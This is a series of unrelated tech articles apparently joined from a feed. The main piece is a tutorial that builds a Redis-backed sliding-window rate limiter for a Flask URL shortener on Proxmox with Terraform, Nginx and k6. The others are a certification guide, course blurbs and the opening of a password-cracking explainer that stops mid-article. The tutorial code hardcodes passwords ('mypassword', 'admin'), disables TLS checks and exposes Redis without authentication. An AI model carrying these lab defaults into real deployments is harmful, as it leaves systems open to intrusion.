Employers value the OSCP because it demonstrates more than just knowledge. It also proves your ability to apply that knowledge in complex, hands-on situations. Many in the cybersecurity industry consider it a rite of passage for ethical hackers and a mark of true technical skill.

If your goal is to become an advanced penetration tester or to build deep technical expertise in offensive security, earning the OSCP is one of the most rewarding certifications you can pursue.

Choosing the Right Certification

Selecting the right certification depends on your current experience and career goals. If you are new to cybersecurity, CompTIA Security+ is a great place to start. If you already have some experience and want to specialize in ethical hacking, the CEH will help you build practical offensive skills.

For those aiming for leadership and management positions, CISM and CISSP are both excellent choices. CISM focuses on aligning security with business strategy, while CISSP focuses on designing and managing enterprise-wide security programs. If your career involves core technical expertise, the OSCP is a natural next step.

Each certification not only validates your technical skills but also strengthens your reputation as a trusted cybersecurity professional. Employers often use certifications as a signal of commitment and capability, making them a valuable investment in your career.

Conclusion

Cybersecurity is a field that never stops evolving. New threats emerge every day, and the technology used to defend against them changes just as quickly. To stay relevant and competitive, you’ll need to keep learning and proving your expertise. This will help you both advance your career and be prepared to defend what matters most.

Hope you enjoyed this article. Find me on Linkedin or visit my website

It's taught by one of the world's most-loved computer science teachers, Dr. David J. Malan.

In this course, you’ll learn how to secure your accounts, data, systems, and software against today’s threats. You’ll also learn how to recognize and evaluate tomorrow’s, both at home and at work. Then you’ll learn how to preserve your own privacy as well.

This course teaches you how to view cybersecurity not in absolute terms but in relative ones as well: as a function of risks and rewards (for an adversary) and costs and benefits (for you).

Dr. Malan presents both high-level and low-level examples of threats, providing students with all they need to know technically to understand both.

Here are the sections in this course:

• Introduction

• Securing Accounts

• Securing Data

• Securing Systems

• Securing Software

• Preserving Privacy

Watch the course on the freeCodeCamp.org YouTube channel (8-hour watch).

In this tutorial, you’ll build a distributed rate limiter. This is the kind of system you need when your application is deployed across multiple servers or virtual machines, and you need to enforce a global limit on all incoming requests.

You’ll build a simple URL shortener application and then implement a robust rate limiter for it using a powerful and efficient combination of tools:

• Python and Flask for your web application.

• Redis as your high-speed, centralized data store for tracking requests.

• Terraform and Proxmox to define and provision your virtual machine infrastructure.

• Docker to containerize your application for easy deployment.

• Nginx as a load balancer to distribute traffic across your app servers.

• k6 to load-test your system and prove that your rate limiter actually works.

This is intended for new developers learning about various system design concepts or for experts who just want a refresher.

By the end of this guide, you'll understand not just the code, but the complete system architecture required to deploy a scalable, resilient application.

Let's get started!

Prerequisites

While not absolutely required to follow along, I’d recommend setting up a Proxmox server on an old laptop to implement the topics you learn and code along with the article. I recommend this YouTube playlist for getting started. Please note that I am in no way affiliated with this channel. I just found it helpful for me.

However, If you do not have a local Proxmox server, you can skip that part and just follow along to understand how a rate limiter is built and how it is set up to properly work with multiple servers.

Table of Contents

• Prerequisites

• The Big Picture: Our System Architecture

• Step 1: How to Define the Infrastructure with Terraform

• Step 2: How to Implement the Rate Limiter Logic in Python

• Step 3: Containerizing and Testing

• Conclusion

The Big Picture: Our System Architecture

Before we dive into the code, let's look at the architecture we're building. I will be using Proxmox Virtual Environment to setup a server cluster just like you would have in a datacenter.

How to Set Up Proxmox

Proxmox Virtual Environment is an open source platform for virtualization. It lets you manage multiple VMs, ccontainers and other clusters with ease. For instance, I turned my old gaming computer into a Proxmox server which lets me run more than 20 virtual machines on it at the same time, making it similar to my very own datacenter. This lets me experiment with distributed applications by simulating datacenter environments.

To setup your own cluster, all you need is an old computer. You can download the ISO image from here and boot from the USB drive. Once you install it, you can configure the host machine via a web browser on any other computer on the same network.

For example, my proxmox server is located at 10.0.0.108 and I can access it via the browser on my laptop.

We define all our virtual machines in our main.tf file. And run a simple command terraform apply to spin these servers up. For more reading on how to use Terraform with Proxmox, I recommend this blog post

Back to our use case, we’ll have a few virtual machines that will serve as different kinds of servers:

1. A Load balancer

2. A Rate Limiter ( A Redis Cache )

3. Two Web Servers

4. A Postgres database

5. One Virtual Machine that will test the load by simulating hundreds of calls per minute.

If all of this seems daunting, don’t worry too much about it. You don’t need to set all this up to follow along.

Centralized Rate Limiter

Since our application will run on multiple servers (or "nodes"), we can't store request counts in memory on each individual server. Why? Because each server would have its own separate count, and we wouldn't have a global rate limit.

The solution is to use a centralized data store that all our application nodes can access. This is where Redis comes in.

Here’s a diagram of our setup:

1. User requests first hit our Nginx load balancer.

2. The load balancer distributes the traffic evenly between our two web server VMs. The configuration is simple, using an upstream block to define the servers.

3. Each web server runs our Python Flask application inside a Docker container.

4. Before processing any request, the Flask app communicates with the central Redis rate limiter VM to check if the user has exceeded the rate limit.

5. If the user is within the limit, the app processes the request and interacts with the PostgreSQL Database. If they're over the limit, it sends back a “429 Too Many Requests” error.

This architecture ensures that no matter which web server handles the request, the rate limit is checked against the same, shared data source.

Step 1: How to Define the Infrastructure with Terraform

Manually setting up multiple virtual machines can be tedious and prone to errors. That's why we use Terraform, an Infrastructure as Code (IaC) tool. It lets us define our entire infrastructure in configuration files.

Note: You can skip this section if you just want to see the rate limiter in action and how it’s used.

Our main.tf file defines all the components of our system. Let's look at a key piece: the Redis VM.

# --- Redis Cache for Rate Limiter ---
resource "proxmox_vm_qemu" "redis_cache" {

    vmid        = 130
    name        = "redis-cache-rate-limiter"
    target_node = "pve"
    agent       = 1
    cores       = 1
    memory      = 1024
    # ... cloud-init config ...
    ipconfig0  = "ip=10.0.0.130/24,gw=10.0.0.1"
    # ... disk and network config ...

    # 1. Install Docker
    provisioner "remote-exec" {
        inline = [
            "sleep 30; sudo apt-get update -y",
            "sudo apt-get install -y docker.io docker-compose",
            "sudo mkdir -p /opt/redis"
        ]
    }

    # 2. Upload docker-compose file
    provisioner "file" {
         source      = "files/redis-docker-compose.yml"
         destination = "/home/${var.ssh_user}/docker-compose.yml"
    }

    # 3. Move file and run docker-compose
    provisioner "remote-exec" {
        inline = [
            "sudo mv /home/${var.ssh_user}/docker-compose.yml /opt/redis/docker-compose.yml",
            "cd /opt/redis && sudo docker-compose up -d"
        ]
    }
}

This block tells Terraform to create a Proxmox QEMU virtual machine with a specific IP address (10.0.0.130). After the VM is created, it uses provisioners to connect via SSH and run commands. Here, it installs Docker, uploads our redis-docker-compose.yml file, and starts the Redis container.

The redis-docker-compose.yml itself is very straightforward:

version: '3.8'
services:
  redis:
    image: redis:latest
    container_name: redis_cache
    restart: always
    ports:
      - "6379:6379"
    volumes:
      - redisdata:/data

volumes:
  redisdata:

This ensures we have a persistent, containerized Redis instance ready to serve our application. The Terraform configuration similarly defines our web servers, load balancer, and databases.

Step 2: How to Implement the Rate Limiter Logic in Python

Now, for the heart of our system: the Python code that implements the rate limiting logic. We're using a sophisticated and memory-efficient algorithm called the Sliding Window Log.

The idea is simple: for each user, we keep a log of the timestamps of their recent requests. We store this log in a Redis Sorted Set.

Let's break down the code from app.py.

The Flask @app.before_request Hook

Flask allows us to run code before any request is handled by its intended view function. This is the perfect place to put our rate limiter.

import psycopg2
import string
import random
import redis
import time
from flask import Flask, request, redirect, jsonify

app = Flask(__name__)

# --- Database Connection Details ---
DB_HOST = "10.0.0.200" 
DB_NAME = "urldb"
DB_USER = "myuser"
DB_PASS = "mypassword"

REDIS_HOST = "10.0.0.130" # IP of your redis-cache-lxc

# --- Rate Limiter Settings ---
RATE_LIMIT_COUNT = 10  # 10 requests
RATE_LIMIT_WINDOW = 60 # per 60 seconds

# Establish a reusable Redis connection
redis_client = redis.Redis(host=REDIS_HOST, port=6379, decode_responses=True)

@app.before_request
def rate_limiter():
    # Use the user's IP address as the key
    # In a real app, you'd handle proxies via request.environ.get('HTTP_X_FORWARDED_FOR', request.remote_addr)
    key = f"rate_limit:{request.remote_addr}"
    now = time.time()

    # Use a Redis pipeline for atomic operations
    pipe = redis_client.pipeline()
    # 1. Add current request timestamp. The score and member are the same.
    pipe.zadd(key, {str(now): now})
    # 2. Remove all timestamps older than our window
    pipe.zremrangebyscore(key, 0, now - RATE_LIMIT_WINDOW)
    # 3. Get the count of remaining timestamps
    pipe.zcard(key)
    # 4. Set an expiration on the key so it cleans itself up
    pipe.expire(key, RATE_LIMIT_WINDOW)

    # Execute the pipeline and get the results
    results = pipe.execute()
    request_count = results[2] # The result of the zcard command

    if request_count > RATE_LIMIT_COUNT:
        # Return a 429 Too Many Requests error
        return jsonify(error="Rate limit exceeded"), 429

def get_db_connection():
    conn = psycopg2.connect(host=DB_HOST, dbname=DB_NAME, user=DB_USER, password=DB_PASS)
    return conn

def init_db():
    conn = get_db_connection()
    cur = conn.cursor()
    cur.execute('''
        CREATE TABLE IF NOT EXISTS urls (
            id SERIAL PRIMARY KEY,
            short_code VARCHAR(6) UNIQUE NOT NULL,
            original_url TEXT NOT NULL
        );
    ''')
    # Check if the index exists before creating it
    cur.execute('''
        SELECT 1 FROM pg_class c JOIN pg_namespace n ON n.oid = c.relnamespace
        WHERE c.relname = 'idx_original_url' AND n.nspname = 'public';
    ''')
    if cur.fetchone() is None:
        cur.execute('CREATE INDEX idx_original_url ON urls (original_url);')
    conn.commit()
    cur.close()
    conn.close()

def generate_short_code(length=6):
    chars = string.ascii_letters + string.digits
    return ''.join(random.choice(chars) for _ in range(length))

@app.route("/", methods=['GET'])
def index():
    return "URL Shortener is running!\n", 200

@app.route('/shorten', methods=['POST'])
def shorten_url():
    original_url = request.form['url']
    conn = get_db_connection()
    cur = conn.cursor()

    cur.execute("SELECT short_code FROM urls WHERE original_url = %s", (original_url,))
    existing_url = cur.fetchone()

    if existing_url:
        short_code = existing_url[0]
    else:
        short_code = generate_short_code()
        cur.execute("INSERT INTO urls (short_code, original_url) VALUES (%s, %s)", (short_code, original_url))
        conn.commit()

    cur.close()
    conn.close()

    return jsonify(short_url=f"/{short_code}")

@app.route('/<short_code>')
def redirect_to_url(short_code):
    conn = get_db_connection()
    cur = conn.cursor()
    cur.execute("SELECT original_url FROM urls WHERE short_code = %s", (short_code,))
    url_record = cur.fetchone()
    cur.close()
    conn.close()

    if url_record:
        return redirect(url_record[0])
    else:
        return "URL not found", 404

if __name__ == '__main__':
    init_db() 
    app.run(host='0.0.0.0', port=5000)

How It Works, Step-by-Step

1. Identify the User: We create a unique Redis key for each user based on their IP address: rate_limit:1.2.3.4.

2. Use a Pipeline: Network latency can be a bottleneck. A Redis pipeline bundles multiple commands into a single request-response cycle. This is much more efficient than sending them one by one. It also ensures the sequence of commands runs without being interrupted by commands from other clients.

3. Log the Current Request (ZADD): We add the current timestamp (as a Unix epoch) to a sorted set. We use the timestamp for both the "member" and the "score," which allows us to easily filter by time.

4. Clean Up Old Requests (ZREMRANGEBYSCORE): This is the "sliding window" part. We remove any timestamps from the set that are older than our RATE_LIMIT_WINDOW (60 seconds). This efficiently discards requests that are no longer relevant to the current rate limit period.

5. Count the Recent Requests (ZCARD): We get the cardinality (the number of items) in the set. After the previous step, this number is our count of requests within the last 60 seconds.

6. Mark the current record to expire (EXPIRE): We set an expiration on the key itself. If a user stops making requests, Redis will automatically delete their rate limit data after 60 seconds, preventing memory from filling up with old keys.

7. Execute and Check: The pipe.execute() command sends all our bundled commands to Redis. We then check the result of our ZCARD command. If the count exceeds our RATE_LIMIT_COUNT, we immediately return a 429 error.

This approach is incredibly fast and efficient. All the heavy lifting is done inside Redis, which is optimized for these kinds of operations.

Step 3: Containerizing and Testing

To deploy our application consistently across multiple VMs, we use Docker. Our Dockerfile is standard for a Python application: it starts from a Python image, installs dependencies from requirements.txt, copies the application code, and defines the command to run the app.

But how do we know it works? We test it!

We use k6, a modern load testing tool, to simulate heavy traffic. Our test script, rate-test.js, is designed specifically to verify the rate limiter.

import http from 'k6/http';
import { check, sleep } from 'k6';

export const options = {
  stages: [
    // Ramp up to 20 users. This is more than the 10 req/min limit
    // and should trigger the rate limiter.
    { duration: '30s', target: 20 },
    { duration: '1m', target: 20 },
    { duration: '10s', target: 0 },
  ],
};

export default function () {
  const url = 'http://10.0.0.100/shorten'; // The Load Balancer IP
  const payload = { url: `https://www.test-ratelimit-${Math.random()}.com` };

  const res = http.post(url, payload);

  // Check if the request was successful OR if it was correctly rate-limited
  check(res, {
    'status is 200 (OK)': (r) => r.status === 200,
    'status is 429 (Too Many Requests)': (r) => r.status === 429,
  });

  sleep(1);
}

The stages array configures the test to gradually increase the number of virtual users to 20. Since our rate limit is 10 requests per minute, this load is guaranteed to trigger the limiter.

The check function is the crucial part. It verifies that the server's response code is either 200 (meaning the request was successful) or 429 (meaning our rate limiter correctly blocked the request).

We should see about 10 of our requests go through of the around 1600 requests per minute that we send from the same IP address.

We can also check the logs on our webserver to see all the requests that were sent to it.

And if we look at the Redis cache/database itself, we’ll see all the keys and the TTL at which they expire.

This is how we rate limit applications using a Redis Cache Server.

Here are the complete files used in the project.

    terraform {
    required_providers {
        proxmox = {
        source  = "telmate/proxmox"
        version = "3.0.2-rc04"
        }
    }
    }

    provider "proxmox" {
    pm_api_url          = var.proxmox_api_url
    pm_api_token_id     = var.proxmox_api_token_id
    pm_api_token_secret = var.proxmox_api_token_secret
    pm_tls_insecure     = true
    }

    # --- Shared Provisioner Connection Settings ---
    locals {
        connection_settings = {
            type        = "ssh"
            user        = var.ssh_user
            private_key = file(var.ssh_private_key_path)
        }
    }

    # --- Database LXC Containers ---
    resource "proxmox_lxc" "postgres_db" {
    hostname     = "postgres-db-lxc"
    target_node  = var.target_node
    ostemplate   = var.lxc_template

    rootfs {
        storage = "local-lvm"
        size = "8G"
    }

    password     = "admin"
    unprivileged = true
    start        = true

    features {
        nesting = true
        # keyctl = true
    }

    network {
        name   = "eth0"
        bridge = "vmbr0"
        ip     = "10.0.0.200/24"
        gw     = "10.0.0.1"
    }

    provisioner "remote-exec" {
        connection {
        type        = "ssh"
        user        = var.ssh_user
        private_key = file(var.ssh_private_key_path)
        host        = split("/", self.network[0].ip)[0]
        }
        inline = [
        "sudo apt-get update",
        "sudo apt-get install -y docker.io docker-compose python3-setuptools",
        "sudo usermod -aG docker ${var.ssh_user}",
        "sudo mkdir -p /opt/postgres",
        "sudo chown ${var.ssh_user}:${var.ssh_user} /opt/postgres"
        ]
    }

    provisioner "file" {
        connection {
        type        = "ssh"
        user        = var.ssh_user
        private_key = file(var.ssh_private_key_path)
        host        = split("/", self.network[0].ip)[0]
        }
        source      = "../databases/pg-docker-compose.yml"
        destination = "/opt/postgres/docker-compose.yml"
    }

    provisioner "remote-exec" {
        inline     = ["cd /opt/postgres && sudo docker-compose up -d"]

        connection {
        type        = "ssh"
        user        = var.ssh_user
        private_key = file(var.ssh_private_key_path)
        host        = split("/", self.network[0].ip)[0]
        }
    }
    }

    resource "proxmox_lxc" "mongo_db" {
        hostname    = "mongo-db-lxc"
        target_node = var.target_node
        ostemplate  = var.lxc_template

        rootfs {
            storage = "local-lvm"
            size = "8G"
        }

        password    = "admin"
        unprivileged = true
        start       = true

        features {
            nesting = true
        # keyctl = true # Somehow this is blocking the apply command
        }

        network {
            name   = "eth0"
            bridge = "vmbr0"
            ip     = "10.0.0.210/24"
            gw     = "10.0.0.1"
        }

        # Provisioners similar to postgres_db
        provisioner "remote-exec" {
            connection {
                type        = "ssh"
                user        = var.ssh_user
                private_key = file(var.ssh_private_key_path)
                host        = split("/", self.network[0].ip)[0]
            }
            inline = [
            "sudo apt-get update",
            "sudo apt-get install -y docker.io docker-compose python3-setuptools",
            "sudo usermod -aG docker ${var.ssh_user}",
            "sudo mkdir -p /opt/mongo",
            "sudo chown ${var.ssh_user}:${var.ssh_user} /opt/mongo"
            ]
        }

        provisioner "file" {
            connection {
            type        = "ssh"
            user        = var.ssh_user
            private_key = file(var.ssh_private_key_path)
            host        = split("/", self.network[0].ip)[0]
            }
            source      = "../databases/mongo-docker-compose.yml"
            destination = "/opt/mongo/docker-compose.yml"
        }

        provisioner "remote-exec" {
            connection {
            type        = "ssh"
            user        = var.ssh_user
            private_key = file(var.ssh_private_key_path)
            host        = split("/", self.network[0].ip)[0]
            }
            inline     = ["cd /opt/mongo && docker-compose up -d"]
        }
    }

    # --- Redis Cache for Rate Limiter ---
    resource "proxmox_vm_qemu" "redis_cache" {

        vmid        = 130
        name        = "redis-cache-rate-limiter"
        target_node = "pve"
        agent       = 1
        cpu {
            cores       = 1
        }

        memory      = 1024
        boot        = "order=scsi0" # has to be the same as the OS disk of the template
        clone       = "debian12-cloudinit" # The name of the template
        scsihw      = "virtio-scsi-single"
        vm_state    = "running"
        automatic_reboot = true

        # Cloud-Init configuration
        cicustom   = "vendor=local:snippets/qemu-guest-agent.yml" # /var/lib/vz/snippets/qemu-guest-agent.yml
        ciupgrade  = true
        nameserver = "1.1.1.1 8.8.8.8"
        ipconfig0  = "ip=10.0.0.130/24,gw=10.0.0.1"
        skip_ipv6  = true
        ciuser     = var.ssh_user
        cipassword = var.ssh_password
        sshkeys    = var.ssh_key

        # Most cloud-init images require a serial device for their display
        serial {
            id = 0
        }

        disks {
            scsi {
            scsi0 {
                # We have to specify the disk from our template, else Terraform will think it's not supposed to be there
                disk {
                storage = "local-lvm"
                # The size of the disk should be at least as big as the disk in the template. If it's smaller, the disk will be recreated
                size    = "5G" 
                }
            }
            }
            ide {
            # Some images require a cloud-init disk on the IDE controller, others on the SCSI or SATA controller
            ide1 {
                cloudinit {
                storage = "local-lvm"
                }
            }
            }
        }

        network {
            id = 0
            bridge = "vmbr0"
            model  = "virtio"
        }

        connection {
            type        = "ssh"
            user        = var.ssh_user
            private_key = file(var.ssh_private_key_path)
            host        = "10.0.0.130"
        }

        # 1. Install Docker and create the final app directory
        provisioner "remote-exec" {
            inline = [
                # Wait for cloud-init to finish before doing anything else
                "echo 'Waiting for cloud-init to finish...'",
                "while [ ! -f /var/lib/cloud/instance/boot-finished ]; do echo 'Still waiting...' && sleep 1; done",
                "echo 'Cloud-init finished.'",

                # Now, safely install packages
                "sudo apt-get update -y",
                "sudo apt-get install -y docker.io docker-compose",
                "sudo mkdir -p /opt/redis",
            ]
        }

        provisioner "file" {
            source      = "../caching/redis-docker-compose.yml"
            destination = "/home/${var.ssh_user}/docker-compose.yml"
        }

        provisioner "remote-exec" {
            inline = [ "sudo mv /home/${var.ssh_user}/docker-compose.yml /opt/redis/docker-compose.yml" ]
        }

        provisioner "remote-exec" {
            inline = [ "cd /opt/redis && sudo docker-compose up -d" ]
        }
    }

    resource "proxmox_vm_qemu" "web-servers" {

        count = 2

        vmid        = count.index + 150
        name        = "web-server-tf-${count.index + 1}"
        target_node = "pve"
        agent       = 1
        cpu {
            cores       = 1
        }
        memory      = 1024
        boot        = "order=scsi0" # has to be the same as the OS disk of the template
        clone       = "debian12-cloudinit" # The name of the template
        scsihw      = "virtio-scsi-single"
        vm_state    = "running"
        automatic_reboot = true

        # Cloud-Init configuration
        cicustom   = "vendor=local:snippets/qemu-guest-agent.yml" # /var/lib/vz/snippets/qemu-guest-agent.yml
        ciupgrade  = true
        nameserver = "1.1.1.1 8.8.8.8"
        ipconfig0  = "ip=10.0.0.${111 + count.index}/24,gw=10.0.0.1"
        skip_ipv6  = true
        ciuser     = var.ssh_user
        cipassword = var.ssh_password
        sshkeys    = var.ssh_key

        # Most cloud-init images require a serial device for their display
        serial {
            id = 0
        }

        disks {
            scsi {
            scsi0 {
                # We have to specify the disk from our template, else Terraform will think it's not supposed to be there
                disk {
                storage = "local-lvm"
                # The size of the disk should be at least as big as the disk in the template. If it's smaller, the disk will be recreated
                size    = "5G" 
                }
            }
            }
            ide {
            # Some images require a cloud-init disk on the IDE controller, others on the SCSI or SATA controller
            ide1 {
                cloudinit {
                storage = "local-lvm"
                }
            }
            }
        }

        network {
            id = 0
            bridge = "vmbr0"
            model  = "virtio"
        }

        connection {
            type        = "ssh"
            user        = var.ssh_user
            private_key = file(var.ssh_private_key_path)
            host        = "10.0.0.${111 + count.index}"
        }

        # 1. Install Docker and create the final app directory
        provisioner "remote-exec" {
            inline = [
                # Wait for cloud-init to finish before doing anything else
                "echo 'Waiting for cloud-init to finish...'",
                "while [ ! -f /var/lib/cloud/instance/boot-finished ]; do echo 'Still waiting...' && sleep 1; done",
                "echo 'Cloud-init finished.'",

                # Now, safely install packages
                "sudo apt-get update -y",
                "sudo apt-get install -y docker.io",
                "sudo mkdir -p /opt/app",
            ]
        }

        # 2. Upload ONLY the necessary files to the user's home directory
        provisioner "file" {
            source      = "../web-servers/app.py"
            destination = "/home/${var.ssh_user}/app.py"
        }
        provisioner "file" {
            source      = "../web-servers/Dockerfile"
            destination = "/home/${var.ssh_user}/Dockerfile"
        }
        provisioner "file" {
            source      = "../web-servers/requirements.txt"
            destination = "/home/${var.ssh_user}/requirements.txt"
        }

        # 4. Move files from the home directory, build the image, and run the container
        provisioner "remote-exec" {
            inline = [
                # Move each file individually to be compatible with all shells
                "sudo mv /home/${var.ssh_user}/app.py /opt/app/",
                "sudo mv /home/${var.ssh_user}/Dockerfile /opt/app/",
                "sudo mv /home/${var.ssh_user}/requirements.txt /opt/app/",

                # Build the Docker image
                "sudo docker build -t my-python-app /opt/app",

                # Stop and remove any old containers to prevent conflicts
                "sudo docker stop $(sudo docker ps -q --filter ancestor=my-python-app) 2>/dev/null || true",
                "sudo docker rm $(sudo docker ps -aq --filter ancestor=my-python-app) 2>/dev/null || true",

                # Run the new container
                "sudo docker run -d --restart always -p 80:5000 my-python-app"
            ]
        }

        # In your proxmox_vm_qemu "web_servers" resource
        depends_on = [
            proxmox_lxc.postgres_db,
            proxmox_vm_qemu.redis_cache
        ]
    }

    # --- Load Balancer VM ---
    resource "proxmox_vm_qemu" "load_balancer" {
        name        = "lb-1"
        target_node = var.target_node
        clone       = var.vm_template
        agent       = 1
        cpu {
            cores       = 1
        }
        memory      = 512
        boot        = "order=scsi0" # has to be the same as the OS disk of the template
        scsihw      = "virtio-scsi-single"
        vm_state    = "running"
        automatic_reboot = true

        # --- Add these lines for Cloud Init Drive ---
                # --- Add these lines for Cloud Init Drive ---
        cicustom   = "vendor=local:snippets/qemu-guest-agent.yml" # /var/lib/vz/snippets/qemu-guest-agent.yml
        ciupgrade  = true
        nameserver = "1.1.1.1 8.8.8.8"
        ipconfig0  = "ip=10.0.0.100/24,gw=10.0.0.1"
        skip_ipv6  = true
        ciuser     = var.ssh_user
        cipassword = var.ssh_password
        sshkeys    = var.ssh_key

        # Most cloud-init images require a serial device for their display
        serial {
            id = 0
        }

        disks {
            scsi {
            scsi0 {
                # We have to specify the disk from our template, else Terraform will think it's not supposed to be there
                disk {
                storage = "local-lvm"
                # The size of the disk should be at least as big as the disk in the template. If it's smaller, the disk will be recreated
                size    = "5G" 
                }
            }
            }
            ide {
            # Some images require a cloud-init disk on the IDE controller, others on the SCSI or SATA controller
            ide1 {
                cloudinit {
                storage = "local-lvm"
                }
            }
            }
        }

        network {
            id = 0
            bridge = "vmbr0"
            model  = "virtio"
        }

        connection {
            type        = "ssh"
            user        = var.ssh_user
            private_key = file(var.ssh_private_key_path)
            host        = "10.0.0.100"
        }

        # Step 1: Install Nginx
        provisioner "remote-exec" {
            inline = [
                # Wait for cloud-init to finish before doing anything else
                "echo 'Waiting for cloud-init to finish...'",
                "while [ ! -f /var/lib/cloud/instance/boot-finished ]; do echo 'Still waiting...' && sleep 1; done",
                "echo 'Cloud-init finished.'",

                # Now, safely install packages
                "sudo apt-get update -y",
                "sudo apt-get install -y nginx"
            ]
        }

        # Step 2: Upload config to a temporary location
        provisioner "file" {
            source      = "../web-servers/nginx.conf"
            destination = "/tmp/nginx.conf" # Use /tmp instead
        }

        # Step 3: Use sudo to move the file to its final destination and reload nginx
        provisioner "remote-exec" {
            inline = [
                "sudo mv /tmp/nginx.conf /etc/nginx/sites-available/default",
                "sudo systemctl reload nginx"
            ]
        }
    }


    # --- Load Tester VM ---
    resource "proxmox_vm_qemu" "load_tester" {
        name        = "load-tester-vm"
        target_node = var.target_node
        clone       = var.vm_template
        agent       = 1
        cpu {
            cores       = 1
        }
        memory      = 1024
        boot        = "order=scsi0" # has to be the same as the OS disk of the template
        scsihw      = "virtio-scsi-single"
        vm_state    = "running"
        automatic_reboot = true

        # --- Add these lines for Cloud Init Drive ---
        cicustom   = "vendor=local:snippets/qemu-guest-agent.yml" # /var/lib/vz/snippets/qemu-guest-agent.yml
        ciupgrade  = true
        nameserver = "1.1.1.1 8.8.8.8"
        ipconfig0  = "ip=10.0.0.160/24,gw=10.0.0.1"
        skip_ipv6  = true
        ciuser     = var.ssh_user
        cipassword = var.ssh_password
        sshkeys    = var.ssh_key

        # Most cloud-init images require a serial device for their display
        serial {
            id = 0
        }

        disks {
            scsi {
                scsi0 {
                    # We have to specify the disk from our template, else Terraform will think it's not supposed to be there
                    disk {
                    storage = "local-lvm"
                    # The size of the disk should be at least as big as the disk in the template. If it's smaller, the disk will be recreated
                    size    = "5G" 
                    }
                }
            }

            ide {
            # Some images require a cloud-init disk on the IDE controller, others on the SCSI or SATA controller
                ide1 {
                    cloudinit {
                    storage = "local-lvm"
                    }
                }
            }
        }

        network {
            id = 0
            bridge = "vmbr0"
            model  = "virtio"
        }

        provisioner "remote-exec" {
            connection {
                type        = "ssh"
                user        = var.ssh_user
                private_key = file(var.ssh_private_key_path)
                host        = "10.0.0.160"
            }
            inline = [
                # Wait for cloud-init to finish
                "echo 'Waiting for cloud-init to finish...'",
                "while [ ! -f /var/lib/cloud/instance/boot-finished ]; do echo 'Still waiting...' && sleep 1; done",
                "echo 'Cloud-init finished.'",

                # Install prerequisites
                "sudo apt-get update -y",
                "sudo apt-get install -y gnupg curl",

                # Add the k6 repository and key
                "curl -sL https://dl.k6.io/key.gpg | sudo gpg --dearmor -o /usr/share/keyrings/k6-archive-keyring.gpg",
                "echo 'deb [signed-by=/usr/share/keyrings/k6-archive-keyring.gpg] https://dl.k6.io/deb stable main' | sudo tee /etc/apt/sources.list.d/k6.list",

                # Install k6
                "sudo apt-get update",
                "sudo apt-get install -y k6"
            ]
        }

        provisioner "file" {
            connection {
            type        = "ssh"
            user        = var.ssh_user
            private_key = file(var.ssh_private_key_path)
            host        = "10.0.0.160"
            }
            source      = "../load-testing/script.js"
            destination = "/home/${var.ssh_user}/script.js"
        }

        provisioner "file" {
            connection {
            type        = "ssh"
            user        = var.ssh_user
            private_key = file(var.ssh_private_key_path)
            host        = "10.0.0.160"
            }
            source      = "../load-testing/rate-test.js"
            destination = "/home/${var.ssh_user}/rate-test.js"
        }

    }

Conclusion

You've now seen how to build a complete, scalable, and resilient system that includes a crucial component for modern web applications: a distributed rate limiter.

We've covered the entire stack:

• Infrastructure as Code with Terraform to define our virtual machines. (check out my repo here for all the code and any updates I make).

• A centralized, high-speed cache with Redis to store our rate limiting data.

• An efficient Sliding Window Log algorithm implemented in Python with Flask.

• Containerization with Docker for consistent deployment.

• Load balancing with Nginx to distribute traffic.

• Load testing with k6 to validate our implementation.

If you’d like to learn more of the concepts that are used when building large scale systems please follow me at Sravan Karuturi.

The course was developed by Google Cloud and helps people earn the Google Cloud Cybersecurity Certificate. This certificate program is your training ground to protect valuable digital assets from the ever-evolving world of cybercrime.

Why Learn Cybersecurity with Google Cloud?

In our hyper-connected world, the security of digital infrastructure is important. Every organization, from startups to global enterprises, needs skilled professionals to defend against threats.

As a Cloud Security Analyst, you'll be the one to analyze threats, build defenses, and safeguard critical systems in the cloud. This program provides the essential skills to enter this high-growth field, blending expert-led instruction with immersive, hands-on Google Cloud challenges to build your expertise and impress future employers.

What’s Inside the Certificate Program?

This program is a carefully structured path designed to take you from foundational concepts to advanced, real-world application. You'll not only learn technical skills like threat identification and risk management but also how to respond to incidents and communicate effectively during a crisis.

Here’s what you’ll learn across the five-course series:

1. Introduction to Security Principles in Cloud Computing Start with the essentials of cybersecurity. You’ll explore the security lifecycle, understand the impact of digital transformation, and grasp key cloud computing concepts. This module introduces you to the common tools and responsibilities of an entry-level cybersecurity analyst.

2. Strategies for Cloud Security Risk Management Dive into the critical process of managing risk in the cloud. This course covers widely-used risk management frameworks and industry standards like HIPAA, NIST CSF, and SOC. You'll learn to navigate the complexities of compliance and develop strategies to protect organizations.

3. Cloud Security Risks: Identify and Protect Against Threats Explore the core principles of identity and access management within a cloud environment. You'll get hands-on with concepts like Authentication, Authorization, and Auditing (AAA), credential management, and techniques for identifying and mitigating system vulnerabilities.

4. Detect, Respond, and Recover from Cloud Cybersecurity Attacks This course focuses on the operational side of security. You will develop crucial skills in monitoring, logging, and security alerting. You'll also learn proven techniques for mitigating attacks and customizing threat detection to stay ahead of adversaries.

5. Put It All Together: Prepare for a Cloud Security Analyst Job Apply everything you’ve learned in a final capstone mission. This project simulates a real-world security scenario, challenging you to combine your skills in risk management, vulnerability identification, and incident response to solve a complex problem and build a standout portfolio piece.

Start Your Journey Today

This course provides the tools and training you need to succeed in the exciting and critical field of cloud cybersecurity. And it’s built around practical experience. It’s a thrilling mix of expert-led courses and immersive challenges through interactive labs on the Google Cloud Skills Boost platform.

These labs give you a chance to practice in a real cloud environment, reinforcing your learning with practical skills that employers are looking for.

Watch the full course on the freeCodeCamp.org YouTube channel and begin your journey into cybersecurity (10-hour watch).

Every year, billions of credentials are stolen and sold on the dark web.

Cybercriminals don’t always need advanced techniques to break into your account. Often, they rely on simple, automated methods that exploit human habits ,  like reusing passwords or choosing predictable ones.

Below are five of the most common ways attackers crack passwords and how you can protect yourself.

Brute Force Attacks

Brute force attacks are one of the oldest hacking techniques still in use.

In this approach, attackers use a computer program to try every possible combination of characters until it finds the correct password.

While this may seem tedious, tools like Hydra, Medusa, or John the Ripper can attempt thousands  –  or even millions  –  of guesses per second.

For example, if your password is “test123,” a brute force tool will likely crack it in seconds. A 6-character password with only lowercase letters has 308 million possible combinations, which modern GPUs can process in minutes or less.

Your best defense against brute force is password length and complexity.

A random, 16-character password with mixed-case letters, numbers, and symbols is practically immune to brute force attacks with today’s hardware.

Using a password manager like NordPass, Bitwarden, or 1Password makes generating and storing such passwords easy and offers strong password protection.

Dictionary Attacks

